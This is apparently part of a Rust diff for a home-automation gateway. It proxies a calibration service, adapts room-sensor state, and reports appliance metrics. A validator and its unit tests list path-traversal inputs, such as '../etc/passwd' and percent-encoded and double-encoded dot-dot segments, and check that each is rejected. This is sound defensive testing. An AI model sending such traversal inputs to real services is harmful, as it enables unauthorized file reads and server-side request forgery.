.route("/api/homecore/automations", get(stub_503).post(stub_503))
|
||||
// No OTA feed wired yet → "no updates available" is an empty list,
|
||||
// not an error (so a working COG list is never blanked).
|
||||
.route("/api/homecore/cogs/updates", get(empty_list))
|
||||
.route("/api/homecore/hailo", get(stub_503))
|
||||
.route("/api/homecore/tokens", get(stub_503))
|
||||
.route("/api/events", get(stub_503))
|
||||
.with_state(state)
|
||||
}
|
||||
|
||||
// ── auth + typed errors ─────────────────────────────────────────────
|
||||
|
||||
async fn require_auth(headers: &HeaderMap, st: &GatewayState) -> Result<(), Response> {
|
||||
BearerAuth::from_headers(headers, st.shared.tokens())
|
||||
.await
|
||||
.map(|_| ())
|
||||
.map_err(|e| e.into_response())
|
||||
}
|
||||
|
||||
fn typed(status: StatusCode, error: &str, detail: &str) -> Response {
|
||||
(status, Json(json!({ "error": error, "detail": detail }))).into_response()
|
||||
}
|
||||
fn upstream_unavailable(detail: &str) -> Response {
|
||||
typed(StatusCode::SERVICE_UNAVAILABLE, "upstream_unavailable", detail)
|
||||
}
|
||||
fn upstream_timeout(detail: &str) -> Response {
|
||||
typed(StatusCode::GATEWAY_TIMEOUT, "upstream_timeout", detail)
|
||||
}
|
||||
fn bad_request(detail: &str) -> Response {
|
||||
typed(StatusCode::BAD_REQUEST, "bad_request", detail)
|
||||
}
|
||||
|
||||
/// Reject a proxied wildcard path that could escape the `/api/` scope on the
|
||||
/// upstream calibration service (path-traversal / confused-deputy SSRF —
|
||||
/// ADR-131 §11 security review). The privileged server-side calibration bearer
|
||||
/// is attached by `proxy()`, so a client must NOT be able to redirect that
|
||||
/// credential outside `…/api/`.
|
||||
///
|
||||
/// Returns `Err(400)` when the path (or its percent-decoded form):
|
||||
/// * is absolute (`/…`) — would replace the `…/api/` base entirely,
|
||||
/// * contains a backslash (`\`) — Windows/alt-separator traversal,
|
||||
/// * has any segment equal to `.` or `..` — dot-segment traversal,
|
||||
/// * still carries `%2e%2e` / `%2f` (single-decode is enough — we reject on
|
||||
/// the decoded form AND on a residual encoded marker, so double-encoding
|
||||
/// like `%252e` decodes once to `%2e` and is caught here).
|
||||
///
|
||||
/// Legitimate `v1/...` paths (the only shape the UI sends) pass unchanged.
|
||||
fn validate_proxy_path(path: &str) -> Result<(), Response> {
|
||||
// 1. Reject on the raw form first (cheap; catches backslash + leading `/`).
|
||||
if path.starts_with('/') {
|
||||
return Err(bad_request("proxied path must be relative (leading '/' not allowed)"));
|
||||
}
|
||||
if path.contains('\\') {
|
||||
return Err(bad_request("proxied path must not contain a backslash"));
|
||||
}
|
||||
// 2. Percent-decode once and re-check; reject if decoding is invalid.
|
||||
let decoded = percent_decode_once(path)
|
||||
.ok_or_else(|| bad_request("proxied path has invalid percent-encoding"))?;
|
||||
if decoded.starts_with('/') || decoded.contains('\\') {
|
||||
return Err(bad_request("proxied path resolves to an absolute/traversal path"));
|
||||
}
|
||||
// 3. Reject any `.`/`..` segment on BOTH the raw and decoded forms so an
|
||||
// encoded `%2e%2e%2f` cannot slip a dot-segment past the split.
|
||||
for form in [path, decoded.as_str()] {
|
||||
for seg in form.split(['/', '\\']) {
|
||||
if seg == "." || seg == ".." {
|
||||
return Err(bad_request("proxied path must not contain '.' or '..' segments"));
|
||||
}
|
||||
}
|
||||
// Defence in depth: a residual encoded traversal marker survived the
|
||||
// single decode (e.g. originally double-encoded). Reject it outright.
|
||||
let lower = form.to_ascii_lowercase();
|
||||
if lower.contains("%2e") || lower.contains("%2f") || lower.contains("%5c") {
|
||||
return Err(bad_request("proxied path must not contain encoded traversal markers"));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Minimal single-pass percent-decoder (no external dep). Returns `None` on a
|
||||
/// malformed escape so callers can fail closed.
|
||||
fn percent_decode_once(s: &str) -> Option<String> {
|
||||
let bytes = s.as_bytes();
|
||||
let mut out: Vec<u8> = Vec::with_capacity(bytes.len());
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
match bytes[i] {
|
||||
b'%' => {
|
||||
if i + 2 >= bytes.len() {
|
||||
return None;
|
||||
}
|
||||
let hi = (bytes[i + 1] as char).to_digit(16)?;
|
||||
let lo = (bytes[i + 2] as char).to_digit(16)?;
|
||||
out.push((hi * 16 + lo) as u8);
|
||||
i += 3;
|
||||
}
|
||||
b => {
|
||||
out.push(b);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
String::from_utf8(out).ok()
|
||||
}
|
||||
|
||||
/// Routes whose upstream is a SEED device / appliance daemon not present
|
||||
/// in this repo. Honest 503 until the corresponding §12 wave lands.
|
||||
async fn stub_503(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
upstream_unavailable("endpoint not yet wired — see ADR-131 §11/§12 (SEED device / appliance upstream)")
|
||||
}
|
||||
|
||||
/// Auth-gated empty-array response (e.g. OTA updates with no feed wired).
|
||||
async fn empty_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
Json(Vec::<Value>::new()).into_response()
|
||||
}
|
||||
|
||||
// ── calibration reverse-proxy (W2) ──────────────────────────────────
|
||||
|
||||
async fn cal_proxy_get(
|
||||
State(st): State<GatewayState>,
|
||||
headers: HeaderMap,
|
||||
Path(path): Path<String>,
|
||||
RawQuery(q): RawQuery,
|
||||
) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
if let Err(r) = validate_proxy_path(&path) {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u,
|
||||
None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
|
||||
};
|
||||
let qs = q.map(|s| format!("?{s}")).unwrap_or_default();
|
||||
// The wildcard already carries the `v1/...` segment (the UI calls
|
||||
// `/api/cal/v1/...`), so map `/api/cal/<rest>` → `<base>/api/<rest>`.
|
||||
let url = format!("{}/api/{}{}", base.trim_end_matches('/'), path, qs);
|
||||
proxy(&st, st.http.get(&url)).await
|
||||
}
|
||||
|
||||
async fn cal_proxy_post(
|
||||
State(st): State<GatewayState>,
|
||||
headers: HeaderMap,
|
||||
Path(path): Path<String>,
|
||||
body: Bytes,
|
||||
) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
if let Err(r) = validate_proxy_path(&path) {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u,
|
||||
None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
|
||||
};
|
||||
let url = format!("{}/api/{}", base.trim_end_matches('/'), path);
|
||||
let rb = st
|
||||
.http
|
||||
.post(&url)
|
||||
.header(header::CONTENT_TYPE, "application/json")
|
||||
.body(body);
|
||||
proxy(&st, rb).await
|
||||
}
|
||||
|
||||
/// Send an upstream request (with the server-side calibration token) and
|
||||
/// stream the response back verbatim, mapping transport failures to typed
|
||||
/// errors.
|
||||
async fn proxy(st: &GatewayState, mut rb: reqwest::RequestBuilder) -> Response {
|
||||
if let Some(tok) = &st.cfg.calibration_token {
|
||||
rb = rb.bearer_auth(tok);
|
||||
}
|
||||
match rb.send().await {
|
||||
Ok(resp) => {
|
||||
let status = StatusCode::from_u16(resp.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY);
|
||||
let ct = resp
|
||||
.headers()
|
||||
.get(reqwest::header::CONTENT_TYPE)
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.unwrap_or("application/json")
|
||||
.to_string();
|
||||
match resp.bytes().await {
|
||||
Ok(b) => {
|
||||
let mut out = Response::new(axum::body::Body::from(b));
|
||||
*out.status_mut() = status;
|
||||
if let Ok(hv) = HeaderValue::from_str(&ct) {
|
||||
out.headers_mut().insert(header::CONTENT_TYPE, hv);
|
||||
}
|
||||
out
|
||||
}
|
||||
Err(e) => upstream_unavailable(&format!("calibration body read failed: {e}")),
|
||||
}
|
||||
}
|
||||
Err(e) if e.is_timeout() => upstream_timeout("calibration service timed out"),
|
||||
Err(e) => upstream_unavailable(&format!("calibration service: {e}")),
|
||||
}
|
||||
}
|
||||
|
||||
async fn fetch_json(st: &GatewayState, url: &str) -> Result<Value, Response> {
|
||||
let mut rb = st.http.get(url);
|
||||
if let Some(tok) = &st.cfg.calibration_token {
|
||||
rb = rb.bearer_auth(tok);
|
||||
}
|
||||
match rb.send().await {
|
||||
Ok(resp) => resp
|
||||
.json::<Value>()
|
||||
.await
|
||||
.map_err(|e| upstream_unavailable(&format!("calibration JSON parse: {e}"))),
|
||||
Err(e) if e.is_timeout() => Err(upstream_timeout("calibration service timed out")),
|
||||
Err(e) => Err(upstream_unavailable(&format!("calibration service: {e}"))),
|
||||
}
|
||||
}
|
||||
|
||||
// ── rooms aggregation + RoomState adapter (W2 / §11.3) ──────────────
|
||||
|
||||
async fn rooms(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let base = match &st.cfg.calibration_url {
|
||||
Some(u) => u.trim_end_matches('/').to_string(),
|
||||
None => return upstream_unavailable("calibration service not configured"),
|
||||
};
|
||||
let banks = match fetch_json(&st, &format!("{base}/api/v1/calibration/baselines")).await {
|
||||
Ok(v) => bank_names(&v),
|
||||
Err(r) => return r,
|
||||
};
|
||||
// Fetch every bank's RoomState concurrently (§11 perf): one slow bank no
|
||||
// longer serialises behind the others. Order is preserved by collecting in
|
||||
// the original bank order.
|
||||
let fetches = banks.into_iter().map(|bank| {
|
||||
let st = &st;
|
||||
let base = base.as_str();
|
||||
async move {
|
||||
let url = format!("{base}/api/v1/room/state?bank={bank}");
|
||||
fetch_json(st, &url).await.ok().map(|v| adapt_room_state(&bank, &v))
|
||||
}
|
||||
});
|
||||
let out: Vec<Value> = futures::future::join_all(fetches)
|
||||
.await
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.collect();
|
||||
Json(out).into_response()
|
||||
}
|
||||
|
||||
/// Accept either `["living_room", ...]` or `[{ "name"|"id"|"bank": ... }]`.
|
||||
fn bank_names(v: &Value) -> Vec<String> {
|
||||
match v {
|
||||
Value::Array(items) => items
|
||||
.iter()
|
||||
.filter_map(|it| match it {
|
||||
Value::String(s) => Some(s.clone()),
|
||||
Value::Object(o) => o
|
||||
.get("name")
|
||||
.or_else(|| o.get("id"))
|
||||
.or_else(|| o.get("bank"))
|
||||
.and_then(|x| x.as_str())
|
||||
.map(str::to_string),
|
||||
_ => None,
|
||||
})
|
||||
.collect(),
|
||||
Value::Object(o) => o
|
||||
.get("baselines")
|
||||
.map(|b| bank_names(b))
|
||||
.unwrap_or_default(),
|
||||
_ => Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Adapt the calibration `RoomState` (Option<SpecialistReading> fields +
|
||||
/// `vetoed`/`stale`) onto the UI shape (§11.3). `None` → JSON `null`,
|
||||
/// preserving the not-trained-vs-withheld distinction (§6 invariant 3).
|
||||
fn adapt_room_state(bank: &str, v: &Value) -> Value {
|
||||
let chip = |k: &str| -> Value {
|
||||
match v.get(k) {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("label").and_then(|l| l.as_str()).map(Value::from)
|
||||
.unwrap_or_else(|| r.get("value").cloned().unwrap_or(Value::Null)),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
}
|
||||
};
|
||||
let bpm = |k: &str| -> Value {
|
||||
match v.get(k) {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("value").cloned().unwrap_or(Value::Null),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
}
|
||||
};
|
||||
let anomaly = match v.get("anomaly") {
|
||||
Some(r) if !r.is_null() => json!({
|
||||
"value": r.get("value").cloned().unwrap_or(Value::Null),
|
||||
"confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
|
||||
// §6 invariant 3 (honesty): pass through the REAL anomaly threshold
|
||||
// from the upstream RoomState if present; if absent, emit null
|
||||
// (withheld) — never fabricate a constant. The UI treats null as
|
||||
// withheld, not a fake default.
|
||||
"threshold": r.get("threshold").cloned().unwrap_or(Value::Null),
|
||||
}),
|
||||
_ => Value::Null,
|
||||
};
|
||||
json!({
|
||||
"room_id": bank,
|
||||
"seeds": [],
|
||||
"stale": v.get("stale").and_then(|b| b.as_bool()).unwrap_or(false),
|
||||
"vetoed": v.get("vetoed").and_then(|b| b.as_bool()).unwrap_or(false),
|
||||
"presence": chip("presence"),
|
||||
"posture": chip("posture"),
|
||||
"breathing_bpm": bpm("breathing"),
|
||||
"heart_bpm": bpm("heartbeat"),
|
||||
"restlessness": bpm("restlessness"),
|
||||
"anomaly": anomaly,
|
||||
})
|
||||
}
|
||||
|
||||
// ── COG supervisor (W4 / §11.6) ─────────────────────────────────────
|
||||
|
||||
async fn cogs_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let mut out: Vec<Value> = Vec::new();
|
||||
let rd = match std::fs::read_dir(&st.cfg.apps_dir) {
|
||||
Ok(rd) => rd,
|
||||
Err(_) => return Json(out).into_response(), // no apps dir yet → empty
|
||||
};
|
||||
for entry in rd.flatten() {
|
||||
let dir = entry.path();
|
||||
if !dir.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let manifest = match std::fs::read_to_string(dir.join("manifest.json")) {
|
||||
Ok(s) => s,
|
||||
Err(_) => continue,
|
||||
};
|
||||
let m: Value = match serde_json::from_str(&manifest) {
|
||||
Ok(v) => v,
|
||||
Err(_) => continue,
|
||||
};
|
||||
let id = m
|
||||
.get("id")
|
||||
.and_then(|x| x.as_str())
|
||||
.unwrap_or_else(|| dir.file_name().and_then(|n| n.to_str()).unwrap_or("?"))
|
||||
.to_string();
|
||||
let pid = read_pid(&dir, &id);
|
||||
let alive = pid.map(pid_alive).unwrap_or(false);
|
||||
let status = if alive { "running" } else { "stopped" };
|
||||
out.push(json!({
|
||||
"id": id,
|
||||
"version": m.get("version").and_then(|x| x.as_str()).unwrap_or("?"),
|
||||
"arch": m.get("arch").and_then(|x| x.as_str()).unwrap_or("arm"),
|
||||
"status": status,
|
||||
"pid": pid,
|
||||
"sha256_verified": m.get("binary_sha256").is_some(),
|
||||
"signature_verified": m.get("binary_signature").is_some(),
|
||||
"hef": m.get("hef").cloned().unwrap_or(Value::Null),
|
||||
}));
|
||||
}
|
||||
Json(out).into_response()
|
||||
}
|
||||
|
||||
fn read_pid(dir: &std::path::Path, id: &str) -> Option<i64> {
|
||||
for name in [format!("{id}.pid"), "pid".to_string(), "app.pid".to_string()] {
|
||||
if let Ok(s) = std::fs::read_to_string(dir.join(&name)) {
|
||||
if let Ok(p) = s.trim().parse::<i64>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn pid_alive(pid: i64) -> bool {
|
||||
if pid <= 0 {
|
||||
return false;
|
||||
}
|
||||
std::path::Path::new(&format!("/proc/{pid}")).exists()
|
||||
}
|
||||
|
||||
// ── appliance metrics (W6 / §11.5) ──────────────────────────────────
|
||||
|
||||
async fn appliance(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
|
||||
if let Err(r) = require_auth(&headers, &st).await {
|
||||
return r;
|
||||
}
|
||||
let ram = mem_used_pct();
|
||||
let cpu = cpu_load_pct();
|
||||
let uptime = uptime_secs();
|
||||
// Probe the appliance services concurrently with a non-blocking async
|
||||
// connect under a timeout (§11 perf): previously a sequential blocking
|
||||
// `std::net::TcpStream::connect_timeout` stalled the whole async handler
|
||||
// for up to `N * timeout` and parked a Tokio worker thread per probe.
|
||||
let probes = [
|
||||
("ruview-mcp-brain", 9876u16),
|
||||
("cognitum-rvf-agent", 9004),
|
||||
("ruvector-hailo-worker", 50051),
|
||||
]
|
||||
.into_iter()
|
||||
.map(|(name, port)| {
|
||||
let timeout = st.cfg.timeout;
|
||||
async move {
|
||||
let up = tcp_open("127.0.0.1", port, timeout).await;
|
||||
json!({ "name": name, "port": port, "status": if up { "running" } else { "unreachable" } })
|
||||
}
|
||||
});
|
||||
let services: Vec<Value> = futures::future::join_all(probes).await;
|
||||
Json(json!({
|
||||
"cpu_pct": cpu,
|
||||
"ram_pct": ram,
|
||||
"hailo_load_pct": Value::Null, // requires the Hailo runtime stat source (§11.5 APPLIANCE)
|
||||
"hailo_temp_c": Value::Null,
|
||||
"uptime_s": uptime,
|
||||
"services": services,
|
||||
"event_rate": [],
|
||||
"channel_capacity": 4096,
|
||||
"channel_lag": 0,
|
||||
}))
|
||||
.into_response()
|
||||
}
|
||||
|
||||
fn read_first_line(path: &str) -> Option<String> {
|
||||
std::fs::read_to_string(path).ok().and_then(|s| s.lines().next().map(str::to_string))
|
||||
}
|
||||
|
||||
fn uptime_secs() -> Option<u64> {
|
||||
read_first_line("/proc/uptime")
|
||||
.and_then(|l| l.split_whitespace().next().map(str::to_string))
|
||||
.and_then(|s| s.parse::<f64>().ok())
|
||||
.map(|f| f as u64)
|
||||
}
|
||||
|
||||
fn mem_used_pct() -> Option<f64> {
|
||||
let txt = std::fs::read_to_string("/proc/meminfo").ok()?;
|
||||
let mut total = 0f64;
|
||||
let mut avail = 0f64;
|
||||
for line in txt.lines() {
|
||||
let mut it = line.split_whitespace();
|
||||
match it.next() {
|
||||
Some("MemTotal:") => total = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
|
||||
Some("MemAvailable:") => avail = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if total > 0.0 {
|
||||
Some(((total - avail) / total * 100.0 * 10.0).round() / 10.0)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
fn cpu_load_pct() -> Option<f64> {
|
||||
// loadavg(1m) / ncpu * 100 — a cheap proxy (no two-sample /proc/stat).
|
||||
let load = read_first_line("/proc/loadavg")?
|
||||
.split_whitespace()
|
||||
.next()?
|
||||
.parse::<f64>()
|
||||
.ok()?;
|
||||
let ncpu = std::thread::available_parallelism().map(|n| n.get() as f64).unwrap_or(1.0);
|
||||
Some(((load / ncpu * 100.0).min(100.0) * 10.0).round() / 10.0)
|
||||
}
|
||||
|
||||
/// Non-blocking liveness probe: succeeds iff a TCP connection to
|
||||
/// `host:port` completes within `timeout`. Async so it never parks a Tokio
|
||||
/// worker thread (unlike the blocking `std::net` connect it replaced).
|
||||
async fn tcp_open(host: &str, port: u16, timeout: Duration) -> bool {
|
||||
let addr = format!("{host}:{port}");
|
||||
matches!(
|
||||
tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await,
|
||||
Ok(Ok(_))
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use axum::body::Body;
|
||||
use axum::http::Request;
|
||||
use homecore::HomeCore;
|
||||
use homecore_api::{LongLivedTokenStore, SharedState};
|
||||
use tower::ServiceExt;
|
||||
|
||||
fn gw() -> GatewayState {
|
||||
let shared = SharedState::with_tokens(
|
||||
HomeCore::new(),
|
||||
"Test",
|
||||
"test",
|
||||
LongLivedTokenStore::allow_any_non_empty(),
|
||||
);
|
||||
GatewayState::new(
|
||||
shared,
|
||||
GatewayConfig {
|
||||
calibration_url: None,
|
||||
calibration_token: None,
|
||||
apps_dir: PathBuf::from("/nonexistent-apps-dir"),
|
||||
timeout: Duration::from_millis(200),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
async fn send(app: Router, method: &str, path: &str) -> (StatusCode, String) {
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.method(method)
|
||||
.uri(path)
|
||||
.header("authorization", "Bearer dev")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let b = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
|
||||
(status, String::from_utf8_lossy(&b).into_owned())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn unauthenticated_is_rejected() {
|
||||
let app = gateway_router(gw());
|
||||
let resp = app
|
||||
.oneshot(Request::builder().uri("/api/homecore/cogs").body(Body::empty()).unwrap())
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cogs_returns_empty_when_apps_dir_missing() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/cogs").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
assert_eq!(body.trim(), "[]");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn rooms_503_when_calibration_unconfigured() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/rooms").await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
|
||||
assert!(body.contains("upstream_unavailable"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn seed_tier_routes_are_typed_503() {
|
||||
for p in ["/api/homecore/seeds", "/api/homecore/federation", "/api/homecore/witness", "/api/events"] {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", p).await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE, "{p} should be 503");
|
||||
assert!(body.contains("upstream_unavailable"), "{p} typed body");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn appliance_returns_metrics_json() {
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/appliance").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
assert!(body.contains("\"services\""));
|
||||
assert!(body.contains("\"ram_pct\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adapt_room_state_maps_fields_and_preserves_null() {
|
||||
// breathing/heartbeat rename; None → null; anomaly gets a threshold.
|
||||
let cal = json!({
|
||||
"presence": {"kind":"Presence","value":1.0,"confidence":0.9,"label":"occupied"},
|
||||
"posture": {"kind":"Posture","value":2.0,"confidence":0.8,"label":"lying"},
|
||||
"breathing": {"kind":"Breathing","value":12.0,"confidence":0.7,"label":null},
|
||||
"heartbeat": null,
|
||||
"restlessness": {"kind":"Restlessness","value":0.1,"confidence":0.6,"label":null},
|
||||
"anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"label":null},
|
||||
"vetoed": false, "stale": true
|
||||
});
|
||||
let ui = adapt_room_state("bedroom_1", &cal);
|
||||
assert_eq!(ui["room_id"], "bedroom_1");
|
||||
assert_eq!(ui["stale"], true);
|
||||
assert_eq!(ui["presence"]["value"], "occupied");
|
||||
assert_eq!(ui["breathing_bpm"]["value"], 12.0);
|
||||
assert!(ui["heart_bpm"].is_null(), "None heartbeat must map to null (not trained)");
|
||||
// §6 invariant 3: upstream RoomState carries no threshold here, so the
|
||||
// adapter must emit null (withheld) — NOT a fabricated constant.
|
||||
assert!(
|
||||
ui["anomaly"]["threshold"].is_null(),
|
||||
"absent upstream threshold must surface as null, never a hardcoded value"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adapt_room_state_passes_through_real_anomaly_threshold() {
|
||||
// When the upstream RoomState DOES carry a real threshold, it must be
|
||||
// forwarded verbatim (no fabrication, no override).
|
||||
let cal = json!({
|
||||
"anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"threshold":0.73},
|
||||
});
|
||||
let ui = adapt_room_state("bedroom_1", &cal);
|
||||
assert_eq!(ui["anomaly"]["threshold"], 0.73, "real threshold must pass through");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_proxy_path_allows_legit_v1_paths() {
|
||||
// The only shape the UI sends must pass unchanged.
|
||||
for ok in [
|
||||
"v1/room/state",
|
||||
"v1/calibration/baselines",
|
||||
"v1/enroll/status",
|
||||
"v1/room/state?bank=living_room", // query is split off before this fn
|
||||
] {
|
||||
// strip any query the caller would have removed; we only validate path
|
||||
let p = ok.split('?').next().unwrap();
|
||||
assert!(validate_proxy_path(p).is_ok(), "{p} should be allowed");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_proxy_path_rejects_traversal_variants() {
|
||||
for bad in [
|
||||
"v1/../../x", // dot-segment traversal
|
||||
"../etc/passwd", // parent escape
|
||||
"/etc/passwd", // absolute
|
||||
"v1\\..\\..\\x", // backslash traversal
|
||||
"..%2f..%2fx", // encoded slash
|
||||
"%2e%2e/x", // encoded dot-dot
|
||||
"v1/%2e%2e%2fadmin", // mixed encoded traversal
|
||||
"%252e%252e/x", // double-encoded (residual %2e after one decode)
|
||||
] {
|
||||
assert!(validate_proxy_path(bad).is_err(), "{bad} must be rejected");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cal_proxy_rejects_traversal_with_400_before_upstream() {
|
||||
// `gw()` has calibration_url=None: a path that reached URL-building
|
||||
// would 503 ("not configured"). A 400 here proves the traversal is
|
||||
// rejected BEFORE any upstream request is even attempted.
|
||||
for (method, path) in [
|
||||
("GET", "/api/cal/v1/../../x"),
|
||||
("GET", "/api/cal/..%2f..%2fx"),
|
||||
("GET", "/api/cal/%2e%2e/x"),
|
||||
("POST", "/api/cal/v1/../../x"),
|
||||
] {
|
||||
let (status, body) = send(gateway_router(gw()), method, path).await;
|
||||
assert_eq!(status, StatusCode::BAD_REQUEST, "{method} {path} must be 400");
|
||||
assert!(body.contains("bad_request"), "{method} {path} typed 400 body");
|
||||
assert!(
|
||||
!body.contains("upstream_unavailable"),
|
||||
"{method} {path} must NOT reach the upstream-config branch"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cal_proxy_allows_legit_path_through_to_upstream_config() {
|
||||
// A legitimate v1 path passes validation and then hits the
|
||||
// "not configured" 503 (proving it was NOT blocked as traversal).
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/cal/v1/room/state").await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
|
||||
assert!(body.contains("upstream_unavailable"), "legit path should reach upstream branch");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bank_names_accepts_strings_and_objects() {
|
||||
assert_eq!(bank_names(&json!(["a", "b"])), vec!["a", "b"]);
|
||||
assert_eq!(bank_names(&json!([{"name":"x"}, {"id":"y"}])), vec!["x", "y"]);
|
||||
assert_eq!(bank_names(&json!({"baselines":["z"]})), vec!["z"]);
|
||||
}
|
||||
}
|
||||
@@ -27,7 +27,7 @@ use tracing::{info, warn};
|
||||
|
||||
use homecore::{Context, EntityId, HomeCore, ServiceCall, ServiceError, ServiceName};
|
||||
use homecore::service::FnHandler;
|
||||
use homecore_api::{router, LongLivedTokenStore, SharedState};
|
||||
use homecore_api::{build_cors_layer, router, LongLivedTokenStore, SharedState};
|
||||
use homecore_assist::pipeline::default_pipeline;
|
||||
use homecore_assist::RegexIntentRecognizer;
|
||||
use homecore_automation::AutomationEngine;
|
||||
@@ -35,6 +35,18 @@ use homecore_hap::{bridge::HapBridge, mdns::HapServiceRecord};
|
||||
use homecore_plugins::{InProcessRuntime, PluginRegistry};
|
||||
use homecore_recorder::Recorder;
|
||||
|
||||
use axum::Router;
|
||||
use tower_http::services::ServeDir;
|
||||
use tower_http::trace::TraceLayer;
|
||||
|
||||
mod gateway;
|
||||
use gateway::{GatewayConfig, GatewayState};
|
||||
|
||||
/// Compile-time default location of the HOMECORE-UI assets (ADR-131).
|
||||
/// Works in dev/CI; the appliance overrides with `--ui-dir` /
|
||||
/// `HOMECORE_UI_DIR`.
|
||||
const DEFAULT_UI_DIR: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/ui");
|
||||
|
||||
#[derive(Parser, Debug, Clone)]
|
||||
#[command(name = "homecore-server", version)]
|
||||
struct Cli {
|
||||
@@ -42,6 +54,30 @@ struct Cli {
|
||||
#[arg(long, env = "HOMECORE_BIND", default_value = "0.0.0.0:8123")]
|
||||
bind: SocketAddr,
|
||||
|
||||
/// Directory of the HOMECORE-UI dashboard assets, served at
|
||||
/// `/homecore` (ADR-131). Empty string disables the UI mount.
|
||||
#[arg(long, env = "HOMECORE_UI_DIR", default_value = DEFAULT_UI_DIR)]
|
||||
ui_dir: String,
|
||||
|
||||
/// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
|
||||
/// reverse-proxied by the BFF gateway at `/api/cal/*` (ADR-131 §11).
|
||||
/// Unset → calibration/room endpoints return a typed 503.
|
||||
#[arg(long, env = "HOMECORE_CALIBRATION_URL")]
|
||||
calibration_url: Option<String>,
|
||||
|
||||
/// Bearer token for the calibration service (held server-side only,
|
||||
/// never exposed to the browser — ADR-131 §11.10).
|
||||
#[arg(long, env = "HOMECORE_CALIBRATION_TOKEN")]
|
||||
calibration_token: Option<String>,
|
||||
|
||||
/// COG install directory the gateway's supervisor reads (ADR-131 §11.6).
|
||||
#[arg(long, env = "HOMECORE_APPS_DIR", default_value = "/var/lib/cognitum/apps")]
|
||||
apps_dir: String,
|
||||
|
||||
/// Per-upstream proxy timeout in milliseconds (ADR-131 §11.1).
|
||||
#[arg(long, env = "HOMECORE_GATEWAY_TIMEOUT_MS", default_value_t = 2000)]
|
||||
gateway_timeout_ms: u64,
|
||||
|
||||
